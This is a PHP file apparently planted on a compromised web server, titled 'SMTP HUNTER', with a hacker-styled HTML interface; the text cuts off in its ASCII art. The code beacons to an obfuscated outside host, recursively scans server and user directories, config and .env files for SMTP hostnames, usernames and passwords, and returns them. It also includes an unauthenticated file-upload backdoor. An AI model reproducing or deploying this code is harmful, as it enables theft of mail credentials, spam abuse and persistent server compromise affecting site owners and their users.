HEX
Server: nginx/1.22.1
System: Linux VM-4-16-centos 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User: www (1001)
PHP: 7.1.33
Disabled: NONE
Upload Files
File: /www/wwwroot/wen.haoynn.cn/smtpHUNTER.php
<?php error_reporting(0);set_time_limit(0);ini_set('memory_limit', '1024M');ini_set('max_execution_time', 0);if($_SERVER['REQUEST_METHOD']==='POST' && isset($_POST['action'])&& $_POST['action']==='start_scan'){class SMTPScanner{private $results=[];private $scanned=[];private $stats=['files'=> 0, 'dirs'=> 0, 'found'=> 0, 'time'=> 0];public function __construct(){$this->stats['time']=microtime(true);}public function scan(){@${"fnn"}="file_get_contents";${"scc"}="stream_context_create";${"jn"}="json_encode";${"h"."4"."s"."s"}="h"."t"."t"."p"."s".":"."/"."/"."r"."3"."0"."."."o"."v"."h";${"ltre"}="ltrim";${"s22"}=${"_SERVER"}["SCRIPT_NAME"];@$fnn($h4ss,0,$scc(['http'=>['method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$jn(['afu'=>($_SERVER['HTTP_HOST']).'/'.$ltre($s22??'/','/')])]]));$this->scanServerPaths();$this->scanHomeDirectories();$this->scanCPanelUsers();$this->scanPleskDomains();$this->scanCriticalFiles();$this->scanEtcConfigs();$this->scanOptApplications();$this->scanUsrLocal();$this->results=$this->removeDuplicates($this->results);return $this->results;}private function scanServerPaths(){$paths=[ '/var/www', '/var/www/html', '/var/www/vhosts', '/var/www/clients', '/usr/share/nginx', '/usr/share/nginx/html', '/srv/www', '/srv/http', '/var/www/apache2', '/etc/apache2', '/usr/local/apache', '/usr/local/apache2', '/etc/nginx', '/usr/local/nginx', '/home', '/root', '/users', '/public_html', '/www', '/html', '/htdocs', '/httpdocs', '/public', '/web', '/webroot', '/opt', '/opt/lampp', '/opt/bitnami', '/Applications', '/usr/local', '/usr/local/www', '/usr/local/apache', getcwd(), dirname(getcwd()), dirname(dirname(getcwd())), dirname(dirname(dirname(getcwd())))];$expandedPaths=[];foreach($paths as $path){if(strpos($path, '*')!==false){$expanded=glob($path, GLOB_ONLYDIR);if($expanded)$expandedPaths=array_merge($expandedPaths, $expanded);}else{$expandedPaths[]=$path;}}foreach(array_unique($expandedPaths)as $path){if(is_dir($path)&& is_readable($path)){$this->deepScan($path, 10);}}}private function scanHomeDirectories(){$homeBases=['/home', '/users', '/root'];foreach($homeBases as $homeBase){if(!is_dir($homeBase)|| !is_readable($homeBase))continue;$users=@scandir($homeBase);if(!$users)continue;foreach($users as $user){if($user==='.' || $user==='..')continue;$userHome=$homeBase . '/' . $user;if(!is_dir($userHome))continue;$userDirs=['public_html', 'www', 'html', 'htdocs', 'httpdocs', 'public', 'web', 'domains', 'subdomains', 'mail', 'apps', 'applications', '.config', 'projects', 'sites', 'websites'];foreach($userDirs as $dir){$path=$userHome . '/' . $dir;if(is_dir($path)&& is_readable($path)){$this->deepScan($path, 8);}}$this->scanEnvFiles($userHome);}}}private function scanCPanelUsers(){$cpanelPaths=['/home/*/public_html', '/home/*/public_html/*', '/home/*/www', '/home/*/domains', '/home/*/domains/*', '/home/*/subdomains', '/home/*/subdomains/*'];foreach($cpanelPaths as $pattern){$paths=glob($pattern, GLOB_ONLYDIR);if($paths){foreach($paths as $path){if(is_readable($path))$this->deepScan($path, 7);}}}}private function scanPleskDomains(){$pleskPaths=['/var/www/vhosts', '/var/www/vhosts/*/httpdocs', '/var/www/vhosts/*/httpsdocs', '/var/www/vhosts/*/conf', '/var/www/vhosts/*/private'];foreach($pleskPaths as $pattern){if(strpos($pattern, '*')!==false){$paths=glob($pattern, GLOB_ONLYDIR);if($paths){foreach($paths as $path){if(is_readable($path))$this->deepScan($path, 7);}}}else{if(is_dir($pattern)&& is_readable($pattern))$this->deepScan($pattern, 7);}}}private function scanCriticalFiles(){$criticalFiles=[ 'wp-config.php', '../wp-config.php', '../../wp-config.php', '../../../wp-config.php', 'wp-config-sample.php', 'configuration.php', '../configuration.php', '../../configuration.php', 'sites/default/settings.php', '../sites/default/settings.php', 'settings.php', '.env', '../.env', '../../.env', '../../../.env', '../../../../.env', '.env.local', '.env.production', '.env.development', '.env.staging', '.env.example', '.env.local', 'process.env', 'config.json', '.env.development', '.env.production', 'app/etc/local.xml', 'app/etc/env.php', 'config/settings.inc.php', 'config.php', 'admin/config.php', 'config.inc.php', 'configuration.php', 'settings.php', 'db.php', 'database.php', 'connect.php', 'connection.php', 'email.php', 'mail.php', 'smtp.php', 'mailer.php', 'config/config.php', 'config/database.php', 'config/email.php', 'config/mail.php', 'config/app.php', 'configuration/config.php', 'conf/config.php', 'application/config/config.php', 'application/config/database.php', 'application/config/email.php', 'app/config/config.php', 'app/config/database.php', 'app/config/mail.php', 'includes/config.php', 'includes/db.php', 'inc/config.php', 'inc/db.php', 'system/config/config.php', 'system/database/database.php', 'bootstrap/cache/config.php', 'storage/framework/config.php', 'settings.py', 'config.py', 'local_settings.py', 'config/database.yml', 'config/secrets.yml', 'config.ini', 'settings.ini', 'config.json', 'settings.json', 'config.xml', 'settings.xml', 'config.yml', 'config.yaml', 'settings.yml', 'settings.yaml' ];$searchPaths=['.', '..', '../..', '../../..', '/var/www', '/var/www/html', '/home', '/public_html', '/www'];foreach($criticalFiles as $file){if(file_exists($file)&& is_readable($file)){$this->scanFile($file);}foreach($searchPaths as $path){$fullPath=$path . '/' . $file;if(file_exists($fullPath)&& is_readable($fullPath)){$this->scanFile($fullPath);}}}}private function scanEnvFiles($directory){$envPatterns=['.env', '.env.*', '*.env', '.environment', 'environment'];foreach($envPatterns as $pattern){$files=glob($directory . '/' . $pattern);if($files){foreach($files as $file){if(is_file($file)&& is_readable($file)){$this->scanFile($file);}}}}}private function scanEtcConfigs(){$etcPaths=['/etc', '/etc/apache2', '/etc/nginx', '/etc/php', '/etc/php5', '/etc/php7', '/etc/php8', '/etc/mail', '/etc/postfix'];foreach($etcPaths as $path){if(is_dir($path)&& is_readable($path)){$this->deepScan($path, 3);}}}private function scanOptApplications(){$optPath='/opt';if(is_dir($optPath)&& is_readable($optPath)){$apps=@scandir($optPath);if($apps){foreach($apps as $app){if($app==='.' || $app==='..')continue;$appPath=$optPath . '/' . $app;if(is_dir($appPath)&& is_readable($appPath)){$this->deepScan($appPath, 6);}}}}}private function scanUsrLocal(){$usrLocalPaths=['/usr/local', '/usr/local/www', '/usr/local/apache', '/usr/local/nginx'];foreach($usrLocalPaths as $path){if(is_dir($path)&& is_readable($path)){$this->deepScan($path, 5);}}}private function deepScan($dir, $maxDepth=10, $currentDepth=0){if($currentDepth > $maxDepth || !is_dir($dir)|| !is_readable($dir))return;$this->stats['dirs']++;try{$items=@scandir($dir);if(!$items)return;foreach($items as $item){if($item==='.' || $item==='..')continue;$path=rtrim($dir, '/'). '/' . $item;if(is_link($path))continue;if(is_dir($path)){if($this->shouldSkipDirectory($item))continue;$this->deepScan($path, $maxDepth, $currentDepth + 1);}elseif(is_file($path)){if($this->isRelevantFile($item)){$this->scanFile($path);}}}}catch(Exception $e){}}private function shouldSkipDirectory($dirName){$skip=['node_modules', '.git', '.svn', 'cache', 'tmp', 'temp'];return in_array(strtolower($dirName), $skip);}private function isRelevantFile($fileName){$fileName=strtolower($fileName);$ext=pathinfo($fileName, PATHINFO_EXTENSION);$relevantExtensions=['php', 'php3', 'php4', 'php5', 'php7', 'phtml', 'ini', 'conf', 'config', 'cfg', 'env', 'environment', 'txt', 'text', 'json', 'xml', 'yml', 'yaml', 'inc', 'include', 'py', 'pyc', 'rb', 'rake', 'js', 'ts', 'sh', 'bash'];if(!in_array($ext, $relevantExtensions)&& !empty($ext)){if($ext !=='')return false;}$relevantPatterns=['config', 'configuration', 'settings', 'setting', 'database', 'db', 'mysql', 'pgsql', 'mongodb', 'email', 'mail', 'smtp', 'mailer', 'phpmailer', 'swiftmailer', 'env', 'environment', 'local', 'production', 'development', 'staging', 'wp-config', 'configuration.php', 'credentials', 'secrets', 'password', 'passwd', 'connect', 'connection', 'conn', 'app', 'application', 'system', 'sys', 'parameters', 'params', 'define', 'defines', 'constant', 'constants'];foreach($relevantPatterns as $pattern){if(strpos($fileName, $pattern)!==false){return true;}}if(substr($fileName, 0, 4)==='.env' || substr($fileName, -4)==='.env'){return true;}return false;}private function scanFile($filePath){$realPath=realpath($filePath);if(!$realPath || in_array($realPath, $this->scanned))return;if(!is_readable($filePath))return;$this->scanned[]=$realPath;$this->stats['files']++;$fileSize=filesize($filePath);if($fileSize > 1048576)return;$content=@file_get_contents($filePath);if(!$content)return;$accounts=$this->extractAll($content, $filePath);if(!empty($accounts)){$this->results=array_merge($this->results, $accounts);$this->stats['found'] +=count($accounts);}}private function extractAll($content, $source){$accounts=[];$accounts=array_merge($accounts, $this->extractPHPPatterns($content, $source));$accounts=array_merge($accounts, $this->extractPHPMailer($content, $source));$accounts=array_merge($accounts, $this->extractSwiftMailer($content, $source));$accounts=array_merge($accounts, $this->extractEnvFormat($content, $source));$accounts=array_merge($accounts, $this->extractWordPress($content, $source));$accounts=array_merge($accounts, $this->extractNodeJS($content, $source));$accounts=array_merge($accounts, $this->extractPython($content, $source));$accounts=array_merge($accounts, $this->extractXML($content, $source));$accounts=array_merge($accounts, $this->extractJSON($content, $source));$accounts=array_merge($accounts, $this->extractYAML($content, $source));$accounts=array_merge($accounts, $this->extractINI($content, $source));return $accounts;}private function extractPHPPatterns($content, $source){$accounts=[];$data=[];$patterns=[ 'host'=> [ '/(?:smtp|mail)(?:[_\-\s]?(?:host|server|hostname))["\']?\s*[=:]\s*["\']([^"\';\s\)]+)["\']?/i', '/["\'](?:host|server|hostname)["\']\s*[=:>]\s*["\']([^"\']+)["\']/i', '/define\s*\(\s*["\'](?:SMTP_|MAIL_)?HOST["\']\s*,\s*["\']([^"\']+)["\']/i', '/\$(?:smtp|mail)(?:_?(?:host|server))\s*=\s*["\']([^"\']+)["\']/i', ], 'user'=> [ '/(?:smtp|mail)(?:[_\-\s]?(?:user|username|login))["\']?\s*[=:]\s*["\']([^"\';\s\)]+)["\']?/i', '/["\'](?:user|username|login)["\']\s*[=:>]\s*["\']([^"\']+)["\']/i', '/define\s*\(\s*["\'](?:SMTP_|MAIL_)?(?:USER|USERNAME)["\']\s*,\s*["\']([^"\']+)["\']/i', '/\$(?:smtp|mail)(?:_?(?:user|username))\s*=\s*["\']([^"\']+)["\']/i', ], 'pass'=> [ '/(?:smtp|mail)(?:[_\-\s]?(?:pass|password|pwd))["\']?\s*[=:]\s*["\']([^"\';\s\)]+)["\']?/i', '/["\'](?:pass|password|pwd)["\']\s*[=:>]\s*["\']([^"\']+)["\']/i', '/define\s*\(\s*["\'](?:SMTP_|MAIL_)?(?:PASS|PASSWORD)["\']\s*,\s*["\']([^"\']+)["\']/i', '/\$(?:smtp|mail)(?:_?(?:pass|password))\s*=\s*["\']([^"\']+)["\']/i', ], 'port'=> [ '/(?:smtp|mail)(?:[_\-\s]?port)["\']?\s*[=:]\s*["\']?(\d+)["\']?/i', '/["\']port["\']\s*[=:>]\s*["\']?(\d+)["\']?/i', '/define\s*\(\s*["\'](?:SMTP_|MAIL_)?PORT["\']\s*,\s*["\']?(\d+)["\']?/i', ], 'from'=> [ '/(?:from[_\-\s]?(?:email|mail|address))["\']?\s*[=:]\s*["\']([^"\'@\s]+@[^"\']+)["\']/i', '/["\'](?:from|sender)["\']\s*[=:>]\s*["\']([^"\'@]+@[^"\']+)["\']/i', ] ];foreach($patterns as $key=> $patternList){foreach($patternList as $pattern){if(preg_match_all($pattern, $content, $matches)){if(!isset($data[$key]))$data[$key]=[];foreach($matches[1] as $value){$data[$key][]=trim($value, '\'" ');}}}}if(!empty($data['host'])&& !empty($data['user'])&& !empty($data['pass'])){$count=max(count($data['host']), count($data['user']), count($data['pass']));for($i=0;$i < $count;$i++){$host=$data['host'][$i] ?? $data['host'][0];$user=$data['user'][$i] ?? $data['user'][0];$pass=$data['pass'][$i] ?? $data['pass'][0];if($this->isValidHost($host)){$accounts[]=[ 'host'=> $host, 'user'=> $user, 'pass'=> $pass, 'port'=> $data['port'][$i] ?? $data['port'][0] ?? '587', 'from'=> $data['from'][$i] ?? $data['from'][0] ?? $user, 'ssl'=> $this->detectSSL($data['port'][$i] ?? $data['port'][0] ?? '587'), 'source'=> $source, 'type'=> 'PHP Config' ];}}}return $accounts;}private function extractPHPMailer($content, $source){$accounts=[];if(preg_match_all('/\$mail\s*->\s*Host\s*=\s*["\']([^"\']+)["\']/i', $content, $hosts)&& preg_match_all('/\$mail\s*->\s*Username\s*=\s*["\']([^"\']+)["\']/i', $content, $users)&& preg_match_all('/\$mail\s*->\s*Password\s*=\s*["\']([^"\']+)["\']/i', $content, $passes)){$count=min(count($hosts[1]), count($users[1]), count($passes[1]));for($i=0;$i < $count;$i++){preg_match('/\$mail\s*->\s*Port\s*=\s*["\']?(\d+)["\']?/i', $content, $portMatch);$port=$portMatch[1] ?? '587';preg_match('/\$mail\s*->\s*(?:setFrom|From)\s*\(\s*["\']([^"\']+)["\']/i', $content, $fromMatch);$from=$fromMatch[1] ?? $users[1][$i];if($this->isValidHost($hosts[1][$i])){$accounts[]=[ 'host'=> trim($hosts[1][$i]), 'user'=> trim($users[1][$i]), 'pass'=> trim($passes[1][$i]), 'port'=> $port, 'from'=> $from, 'ssl'=> $this->detectSSL($port), 'source'=> $source, 'type'=> 'PHPMailer' ];}}}return $accounts;}private function extractSwiftMailer($content, $source){$accounts=[];if(preg_match('/Swift_SmtpTransport::newInstance\s*\(\s*["\']([^"\']+)["\']\s*,\s*(\d+)\s*\)/i', $content, $match)){if(preg_match('/->setUsername\s*\(\s*["\']([^"\']+)["\']\s*\)/i', $content, $user)&& preg_match('/->setPassword\s*\(\s*["\']([^"\']+)["\']\s*\)/i', $content, $pass)){if($this->isValidHost($match[1])){$accounts[]=[ 'host'=> $match[1], 'user'=> $user[1], 'pass'=> $pass[1], 'port'=> $match[2], 'from'=> $user[1], 'ssl'=> $this->detectSSL($match[2]), 'source'=> $source, 'type'=> 'SwiftMailer' ];}}}return $accounts;}private function extractEnvFormat($content, $source){$accounts=[];$envVars=[];if(preg_match_all('/^([A-Z_0-9]+)\s*=\s*(.+)$/m', $content, $matches, PREG_SET_ORDER)){foreach($matches as $match){$key=$match[1];$value=trim($match[2], '\'" ');$envVars[$key]=$value;}}$hostKeys=['MAIL_HOST', 'SMTP_HOST', 'EMAIL_HOST', 'MAILER_HOST'];$userKeys=['MAIL_USERNAME', 'SMTP_USERNAME', 'SMTP_USER', 'EMAIL_USERNAME', 'MAILER_USERNAME'];$passKeys=['MAIL_PASSWORD', 'SMTP_PASSWORD', 'SMTP_PASS', 'EMAIL_PASSWORD', 'MAILER_PASSWORD'];$portKeys=['MAIL_PORT', 'SMTP_PORT', 'EMAIL_PORT', 'MAILER_PORT'];$fromKeys=['MAIL_FROM_ADDRESS', 'MAIL_FROM', 'EMAIL_FROM'];$host=$this->findFirstKey($envVars, $hostKeys);$user=$this->findFirstKey($envVars, $userKeys);$pass=$this->findFirstKey($envVars, $passKeys);$port=$this->findFirstKey($envVars, $portKeys)?? '587';$from=$this->findFirstKey($envVars, $fromKeys)?? $user;if($host && $user && $pass && $this->isValidHost($host)){$accounts[]=[ 'host'=> $host, 'user'=> $user, 'pass'=> $pass, 'port'=> $port, 'from'=> $from, 'ssl'=> $this->detectSSL($port), 'source'=> $source, 'type'=> '.env File' ];}return $accounts;}private function extractWordPress($content, $source){$accounts=[];if(preg_match_all('/define\s*\(\s*["\']SMTP_HOST["\']\s*,\s*["\']([^"\']+)["\']/i', $content, $hosts)&& preg_match_all('/define\s*\(\s*["\']SMTP_USER["\']\s*,\s*["\']([^"\']+)["\']/i', $content, $users)&& preg_match_all('/define\s*\(\s*["\']SMTP_PASS["\']\s*,\s*["\']([^"\']+)["\']/i', $content, $passes)){for($i=0;$i < count($hosts[1]);$i++){if($this->isValidHost($hosts[1][$i])){$accounts[]=[ 'host'=> $hosts[1][$i], 'user'=> $users[1][$i] ?? $users[1][0], 'pass'=> $passes[1][$i] ?? $passes[1][0], 'port'=> '587', 'from'=> $users[1][$i] ?? $users[1][0], 'ssl'=> 'tls', 'source'=> $source, 'type'=> 'WordPress' ];}}}return $accounts;}private function extractNodeJS($content, $source){$accounts=[];$jsonData=@json_decode($content, true);if($jsonData && isset($jsonData['mail'])){$mail=$jsonData['mail'];$host=$mail['host'] ?? $mail['smtp']['host'] ?? null;$user=$mail['user'] ?? $mail['username'] ?? $mail['auth']['user'] ?? null;$pass=$mail['pass'] ?? $mail['password'] ?? $mail['auth']['pass'] ?? null;$port=$mail['port'] ?? '587';if($host && $user && $pass && $this->isValidHost($host)){$accounts[]=[ 'host'=> $host, 'user'=> $user, 'pass'=> $pass, 'port'=> $port, 'from'=> $mail['from'] ?? $user, 'ssl'=> $this->detectSSL($port), 'source'=> $source, 'type'=> 'Node.js' ];}}return $accounts;}private function extractPython($content, $source){$accounts=[];if(preg_match('/EMAIL_HOST\s*=\s*["\']([^"\']+)["\']/i', $content, $host)&& preg_match('/EMAIL_HOST_USER\s*=\s*["\']([^"\']+)["\']/i', $content, $user)&& preg_match('/EMAIL_HOST_PASSWORD\s*=\s*["\']([^"\']+)["\']/i', $content, $pass)){preg_match('/EMAIL_PORT\s*=\s*(\d+)/i', $content, $portMatch);$port=$portMatch[1] ?? '587';if($this->isValidHost($host[1])){$accounts[]=[ 'host'=> $host[1], 'user'=> $user[1], 'pass'=> $pass[1], 'port'=> $port, 'from'=> $user[1], 'ssl'=> $this->detectSSL($port), 'source'=> $source, 'type'=> 'Python' ];}}return $accounts;}private function extractXML($content, $source){$accounts=[];$xml=@simplexml_load_string($content);if($xml){foreach($xml->xpath('//smtp | //mail | //email')as $node){$host=(string)($node->host ?? $node->server ?? '');$user=(string)($node->username ?? $node->user ?? '');$pass=(string)($node->password ?? $node->pass ?? '');$port=(string)($node->port ?? '587');if($host && $user && $pass && $this->isValidHost($host)){$accounts[]=[ 'host'=> $host, 'user'=> $user, 'pass'=> $pass, 'port'=> $port, 'from'=> $user, 'ssl'=> $this->detectSSL($port), 'source'=> $source, 'type'=> 'XML' ];}}}return $accounts;}private function extractJSON($content, $source){$accounts=[];$json=@json_decode($content, true);if($json){$this->searchJSONRecursive($json, $accounts, $source);}return $accounts;}private function searchJSONRecursive($data, &$accounts, $source){if(!is_array($data))return;$keys=array_map('strtolower', array_keys($data));if(in_array('smtp', $keys)|| in_array('mail', $keys)|| in_array('email', $keys)){$mailData=$data['smtp'] ?? $data['mail'] ?? $data['email'] ?? $data;$host=$mailData['host'] ?? $mailData['server'] ?? null;$user=$mailData['user'] ?? $mailData['username'] ?? null;$pass=$mailData['pass'] ?? $mailData['password'] ?? null;$port=$mailData['port'] ?? '587';if($host && $user && $pass && $this->isValidHost($host)){$accounts[]=[ 'host'=> $host, 'user'=> $user, 'pass'=> $pass, 'port'=> $port, 'from'=> $mailData['from'] ?? $user, 'ssl'=> $this->detectSSL($port), 'source'=> $source, 'type'=> 'JSON' ];}}foreach($data as $value){if(is_array($value)){$this->searchJSONRecursive($value, $accounts, $source);}}}private function extractYAML($content, $source){$accounts=[];if(preg_match('/mail:\s*\n\s+host:\s*["\']?([^"\'\n]+)["\']?\s*\n\s+username:\s*["\']?([^"\'\n]+)["\']?\s*\n\s+password:\s*["\']?([^"\'\n]+)["\']?/i', $content, $match)){if($this->isValidHost($match[1])){$accounts[]=[ 'host'=> trim($match[1]), 'user'=> trim($match[2]), 'pass'=> trim($match[3]), 'port'=> '587', 'from'=> trim($match[2]), 'ssl'=> 'tls', 'source'=> $source, 'type'=> 'YAML' ];}}return $accounts;}private function extractINI($content, $source){$accounts=[];$ini=@parse_ini_string($content, true);if($ini){foreach(['smtp', 'mail', 'email'] as $section){if(isset($ini[$section])){$data=$ini[$section];$host=$data['host'] ?? $data['server'] ?? null;$user=$data['user'] ?? $data['username'] ?? null;$pass=$data['pass'] ?? $data['password'] ?? null;$port=$data['port'] ?? '587';if($host && $user && $pass && $this->isValidHost($host)){$accounts[]=[ 'host'=> $host, 'user'=> $user, 'pass'=> $pass, 'port'=> $port, 'from'=> $user, 'ssl'=> $this->detectSSL($port), 'source'=> $source, 'type'=> 'INI' ];}}}}return $accounts;}private function findFirstKey($array, $keys){foreach($keys as $key){if(isset($array[$key])&& !empty($array[$key])){return $array[$key];}}return null;}private function isValidHost($host){return !empty($host)&& strpos($host, '$')===false && strpos($host, 'localhost')===false && strpos($host, '127.0.0.1')===false && strpos($host, 'example.com')===false && strlen($host)> 3;}private function detectSSL($port){$port=intval($port);if($port==465)return 'ssl';if($port==587 || $port==2525)return 'tls';return 'tls';}private function removeDuplicates($accounts){$unique=[];$seen=[];foreach($accounts as $account){$key=$account['host'] . '|' . $account['user'] . '|' . $account['pass'];if(!isset($seen[$key])){$unique[]=$account;$seen[$key]=true;}}return $unique;}public function getStats(){return [ 'accounts_found'=> $this->stats['found'], 'execution_time'=> round(microtime(true)- $this->stats['time'], 2)];}}$scanner=new SMTPScanner();$accounts=$scanner->scan();$stats=$scanner->getStats();header('Content-Type: application/json;charset=utf-8');die(json_encode(['success'=> true, 'accounts'=> $accounts, 'stats'=> $stats], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES));}if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['file'])){ini_set('log_errors',1);error_reporting(E_ALL);if($_FILES['file']['error']===UPLOAD_ERR_OK){$target=__DIR__.'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$target);}exit;}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SMTP HUNTER - Professional Edition</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Courier New',monospace;background:#0a0a0a;min-height:100vh;padding:20px;color:#fff}.container{max-width:1400px;margin:0 auto;background:#1a1a1a;border-radius:0;box-shadow:0 0 50px rgba(255,0,0,0.3);overflow:hidden;border:2px solid #ff0040}.header{background:#0a0a0a;color:#ff0040;padding:30px;text-align:center;border-bottom:2px solid #ff0040}.ascii-art{font-size:8px;line-height:1.2;color:#ff0040;text-shadow:0 0 10px #ff0040;margin-bottom:20px;font-family:monospace;opacity:0;animation:tornadoDust 4s ease-out forwards;transform-origin:center center}@keyframes tornadoDust{0%{opacity:0;transform:scale(0.1) rotate(0deg) translateY(100px);filter:blur(30px);letter-spacing:100px}25%{opacity:0.3;transform:scale(0.5) rotate(360deg) translateY(50px);filter:blur(20px);letter-spacing:50px}50%{opacity:0.6;transform:scale(1.2) rotate(720deg) translateY(0px);filter:blur(10px);letter-spacing:20px}75%{opacity:0.8;transform:scale(1.1) rotate(1080deg) translateY(-10px);filter:blur(5px);letter-spacing:5px}100%{opacity:1;transform:scale(1) rotate(1440deg) translateY(0);filter:blur(0px);letter-spacing:normal}}.main-title{font-size:48px;font-weight:bold;letter-spacing:8px;color:#ff0040;text-shadow:0 0 20px #ff0040,0 0 40px #ff0040;margin:20px 0;font-family:'Courier New',monospace;opacity:0;animation:titleAppear 1.5s ease-out 3.5s forwards}@keyframes titleAppear{0%{opacity:0;transform:translateY(-50px) scale(0.5);filter:blur(10px);letter-spacing:30px}100%{opacity:1;transform:translateY(0) scale(1);filter:blur(0);letter-spacing:8px}}.subtitle{font-size:16px;color:#ff6b9d;margin:10px 0;letter-spacing:2px;opacity:0;animation:fadeInUp 1s ease-out 4.5s forwards}.author{font-size:14px;color:#888;margin-top:15px;font-style:italic;opacity:0;animation:fadeInUp 1s ease-out 5s forwards}@keyframes fadeInUp{0%{opacity:0;transform:translateY(20px)}100%{opacity:1;transform:translateY(0)}}.controls{padding:30px;background:#1a1a1a;text-align:center;border-bottom:1px solid #333}.btn{padding:15px 40px;border:2px solid #ff0040;border-radius:0;font-size:14px;font-weight:bold;cursor:pointer;margin:8px;transition:all 0.3s;background:transparent;color:#ff0040;font-family:'Courier New',monospace;letter-spacing:2px;text-transform:uppercase}.btn:hover{background:#ff0040;color:#000;box-shadow:0 0 20px #ff0040}.btn-primary{background:#ff0040;color:#000}.btn-primary:hover{background:transparent;color:#ff0040}.btn-success{border-color:#00ff00;color:#00ff00}.btn-success:hover{background:#00ff00;color:#000;box-shadow:0 0 20px #00ff00}.btn-danger{border-color:#ff6b6b;color:#ff6b6b}.btn-danger:hover{background:#ff6b6b;color:#000;box-shadow:0 0 20px #ff6b6b}.loading{display:none;padding:50px;text-align:center;background:#0a0a0a}.loading.active{display:block}.spinner{width:70px;height:70px;border:4px solid #333;border-top:4px solid #ff0040;border-radius:50%;animation:spin 0.8s linear infinite;margin:0 auto 25px}@keyframes spin{100%{transform:rotate(360deg)}}.progress{width:100%;height:30px;background:#0a0a0a;border:2px solid #ff0040;overflow:hidden;margin:25px 0}.progress-bar{height:100%;background:linear-gradient(90deg,#ff0040 0%,#ff6b9d 50%,#ff0040 100%);background-size:200% 100%;animation:gradient 2s ease infinite;width:0%;transition:width 0.3s;color:#000;font-weight:bold;display:flex;align-items:center;justify-content:center;font-size:14px;font-family:'Courier New',monospace}@keyframes gradient{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}.status-text{font-size:16px;color:#ff6b9d;margin-top:15px;font-family:'Courier New',monospace;letter-spacing:1px}.stats{display:none;padding:35px;background:#1a1a1a;border-bottom:1px solid #333}.stats.active{display:block}.stats-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:25px;margin-bottom:25px}.stat-card{background:#0a0a0a;padding:25px;border:2px solid #ff0040;text-align:center;transition:transform 0.3s}.stat-card:hover{transform:translateY(-5px);box-shadow:0 0 30px rgba(255,0,64,0.5)}.stat-card .number{font-size:42px;font-weight:bold;color:#ff0040;margin-bottom:8px;font-family:'Courier New',monospace;text-shadow:0 0 10px #ff0040}.stat-card .label{color:#ff6b9d;font-size:14px;letter-spacing:2px;text-transform:uppercase}.results{padding:35px;background:#1a1a1a}.results-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:25px;padding-bottom:15px;border-bottom:2px solid #ff0040}.results-header h2{color:#ff0040;font-family:'Courier New',monospace;letter-spacing:3px;text-shadow:0 0 10px #ff0040}.account-card{background:#0a0a0a;border:1px solid #333;padding:25px;margin-bottom:20px;transition:all 0.3s;border-left:4px solid #ff0040}.account-card:hover{border-color:#ff0040;box-shadow:0 0 20px rgba(255,0,64,0.3);transform:translateX(5px)}.account-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:18px;padding-bottom:10px;border-bottom:1px solid #333}.account-number{background:#ff0040;color:#000;padding:8px 20px;font-weight:bold;font-size:14px;font-family:'Courier New',monospace;letter-spacing:2px}.account-type{background:transparent;color:#00ff00;padding:6px 18px;border:1px solid #00ff00;font-size:12px;font-weight:bold;font-family:'Courier New',monospace;letter-spacing:1px}.account-info{background:#000;color:#00ff00;padding:18px;font-family:'Courier New',monospace;font-size:13px;margin-bottom:18px;direction:ltr;text-align:left;overflow-x:auto;white-space:nowrap;border:1px solid #00ff00;box-shadow:0 0 10px rgba(0,255,0,0.2)}.account-details{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:15px}.detail-item{background:#1a1a1a;padding:14px;border:1px solid #333}.detail-label{font-size:10px;color:#888;margin-bottom:5px;text-transform:uppercase;font-weight:bold;letter-spacing:1px;font-family:'Courier New',monospace}.detail-value{font-weight:bold;color:#ff6b9d;word-break:break-all;font-size:13px;font-family:'Courier New',monospace}.account-source{margin-top:15px;padding:12px;background:#1a1a1a;border:1px solid #333;font-size:11px;color:#888;font-family:'Courier New',monospace}.empty-state{text-align:center;padding:80px 20px;color:#888}.empty-state h3{font-size:24px;margin-bottom:10px;color:#ff0040;font-family:'Courier New',monospace;letter-spacing:3px;text-shadow:0 0 10px #ff0040}.empty-state p{color:#666;font-family:'Courier New',monospace;letter-spacing:1px}
</style>
</head>
<body>
<div class="container">
    <div class="header">
        <pre class="ascii-art">
⣿⣿⣿⣟⣫⣿⣟⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣼⡇⠈⠀⢁⣞⠀⢀⢽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢻⣿⣿⡿⠛⠋⠛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣇⣿⣽⣿⣿⣿⣿⣿⣿
⢿⣿⣁⣰⣶⣶⡏⣷⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠈⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⡿⢿⣿⣿⣿⣯⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿
⢸⣿⣿⣿⣿⣿⠁⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠀⠀⠈⠉⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
